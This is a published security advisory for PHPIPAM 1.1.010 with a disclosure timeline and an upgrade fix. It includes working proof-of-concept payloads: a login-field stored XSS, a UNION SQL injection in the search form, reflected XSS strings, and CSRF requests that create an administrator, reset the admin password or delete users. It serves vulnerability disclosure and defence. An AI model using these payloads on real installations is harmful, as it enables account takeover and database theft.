PHPIPAM 1.1.010 – Multiple Vulnerabilities

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# Exploit Title: PHPIPAM v1.1.010 Multiple Vulnerabilities

# Date: 04/01/2016

# Author: Mickael Dorigny @ Synetis

# Vendor or Software Link: http://phpipam.net/

# Version: 1.1.010

# Category: Multiple Vulnerabilities

# Tested on : 1.1.010

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PHPIPAM description :

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PHPIPAM is an open-source web IP address management application. Its goal is to provide light, modern and useful IP address management. It is php-based application with MySQL database backend, using jQuery libraries, ajax and some HTML5/CSS3 features.

Vulnerabilities description :

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PHPIPAM version 1.1.010 is vulnerable to multiple vulnerabilities like :

- Stored XSS without authentication

- Reflected XSS

- SQL Injection

- CSRF

Proof of Concept n°1 - Stored XSS without authentication :

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Through PHPIPAM, external users can try to authenticate on the following page :

http://server/phpipam/?page=login

For each try, even if it's a success or a failure, a line is added in the log register. The admin user can read those logs through the back office. Here is an example of authentication log lines :

"User Admin1 logged in."

"User User1 failed to log in."

Here we can see that the username is directly written in logs.

A malicious user can use this log feature to make administrator executes JavaScript instructions in his browser. To do so, an external user can try to inject JavaScript instructions in the "username" field of the authentication form.

PoC :

[REQUEST]

http://server/phpipam/site/login/loginCheck.php

[POSTDATA]

ipamusername=<script>alert("RXSS01")</script>&ipampassword=XXX

With this request, the following line will automatically be added in the "Log Files" section in the admin back office :

<td class="severity"><span>2</span>Warning</td>

<td class="command"><a href="https://www.exploit-db.com/exploits/39171/" class="openLogDetail" data-logid="9">User <script>alert("RXSS01");</script> failed to log in.</a></td>

</tr>

JavaScript instructions will be executed by admin's browser each time he will consult the Log File section. Additionnally, latest log lines are displayed in the home page of each admin, so JavaScript instructions will be executed at this moment two.

Through this vulnerability, an attacker could tamper with page rendering, redirect victim to fake login page, or capture users credentials such cookies, and especially admin's ones. Moreover, an user without privileges can use this vulnerability to steal Administrator cookie to lead privileges escalation in PHPIPAM.

Proof of Concept n°2 - SQL Injection :

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Once an user or an admin is authenticated, he can makes search through the search bar. This feature can be used to modify SQL query passed by the web application to the database.

PoC :

1" UNION SELECT 1,2,3,4,user(),6,7,8,9,10,11,12,13,14,15#

Note that the search bar in the top right of the web application seems to be protected against this injection. But the "Search IP database" form that is displayed after a first search isn't well protected. Server answer is displayed in table, for the example injection, this is the replied lines :

:

# <td><a href="https://www.exploit-db.com/exploits/39171/?page=subnets&section=4&subnetId=1">root@localhost</a></td>

<td>disabled</td>

</tr>

Here, line marked with a "#" correspond to text data in the SQL database so they can display any requested data. Through this vulnerability, an attacker can dump and modify database content.

Proof of Concept n°3 - Reflected Cross-Site Scripting (RXSS) with authentication :

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A search form is displayed on every page on the top of each page. When this form is used, users are redirected to a search result page that display another form. Both of these forms are vulnerable to XSS through the following PoC. Several evasion tricks can be used to bypass the initial protection that delete HTML tags.

Note that the initial form on the top of each page is protected from basic XSS by deleting HTML tags.

PoC for the top search form:

[REQUEST]

ABC" onmouseover=alert(1) name="A

This payload will executes javascript instructions when the user will pass his cursor over the new search form that is displayed on the middle of the search result page

PoC for the search form displayed in search result page :

[REQUEST]

ABC' onmouseover=alert(1) name='A

This payload will executes javascript instruction when the user will pass his cursor over initial search form on top of the page.

Through this vulnerability, an attacker could tamper with page rendering, redirect victim to fake login page, or capture users credentials such cookies, and especially admin's ones. Moreover, an user without privileges can use this vulnerability to steal Administrator cookie to lead privileges escalation in PHPIPAM.

Proof of Concept n°4 - CSRF on user creation :

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The user creation form isn't protected against CSRF attack. Consequently, an administrator can be trapped to create an user with administrator permissions by clicking on a malicious link which will make him execute the following request :

PoC :

[REQUEST]

http://server/phpipam/site/admin/usersEditResult.php

[POSTDATA]

real_name=user2&username=user2&email=user2%40user1.fr&role=Administrator&userId=&action=add&domainUser=0&password1=password123&password2=password123&lang=3&notifyUser=on&mailNotify=No&mailChangelog=No&group3=on&group2=on

Here, the user named "user2" will be created with "Administrator" permissions. Here is the used form to generate a request :

<input type=hidden name=password1 value=password123>

<input type=hidden name=password2 value=password123>

</form>

Proof of Concept n°5 : CSRF on user attributes modification

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User modification form isn't protected against CSRF attack. Consequently, a user/admin can be trapped to modify his mail or password by clicking on a malicious link which will make him execute the following request :

PoC:

[REQUEST]

http://server/phpipam/site/admin/usersEditResult.php

[DATA]

POSTDATA=real_name=phpIPAM+Admin&username=Admin&email=admin%40domain.local&role=Administrator&userId=1&action=edit&domainUser=0&password1=password123&password2=password123&lang=1&mailNotify=No&mailChangelog=

Here, the passwordof user named "Admin" will be modified to "password123" and mail will be modified to "admin@domain.local". All other attributes can be modified two. In this context, targeted user is specified with his "userId", we can generally guess that the userId "1" is the first admin of PHP Ipam.

Here is the used form to generate a request :

</form>

Proof of Concept n°6 : CSRF on user deletion

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User deletion form isn't protected against CSRF attack. Consequently, an admin can be trapped to delete any user by clicking on a malicious link which will make him execute the following request :

[REQUEST]

http://server/phpipam/site/admin/usersEditPrint.php

[POSTDATA]

id=2&action=delete

In this context, targeted user is specified with his "userId".

Here is the used form to generate a request :

</form>

In this context, targeted user is specified with his "userId".

Screenshots :

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- http://www.information-security.fr/wp-content/uploads/2015/12/php-ipam-multiple-vulnerabilities-05.jpg

- http://www.information-security.fr/wp-content/uploads/2015/12/php-ipam-multiple-vulnerabilities-06.jpg

- http://www.information-security.fr/wp-content/uploads/2015/12/php-ipam-multiple-vulnerabilities-09.jpg

- http://www.information-security.fr/wp-content/uploads/2015/12/php-ipam-multiple-vulnerabilities-10.jpg

- http://www.information-security.fr/wp-content/uploads/2015/12/php-ipam-multiple-vulnerabilities-11.jpg

- http://www.information-security.fr/wp-content/uploads/2015/12/php-ipam-multiple-vulnerabilities-03.jpg

Solution:

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Update your PHPIPAM Installation to version 1.2 : https://github.com/phpipam/phpipam

Additional resources :

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- http://information-security.fr/en/xss-csrf-sqli-php-ipam-version-1-1-010

- https://www.youtube.com/watch?v=86dJpyKYag4

- http://phpipam.net/

Report timeline :

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2015-12-26 : Editor informed for vulnerabilities

2015-12-27 : Editor take a look and inform that a version 1.2 exist

2016-01-04 : Advisory release

Credits :

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Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr

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SYNETIS

CONTACT: www.synetis.com | www.information-security.fr

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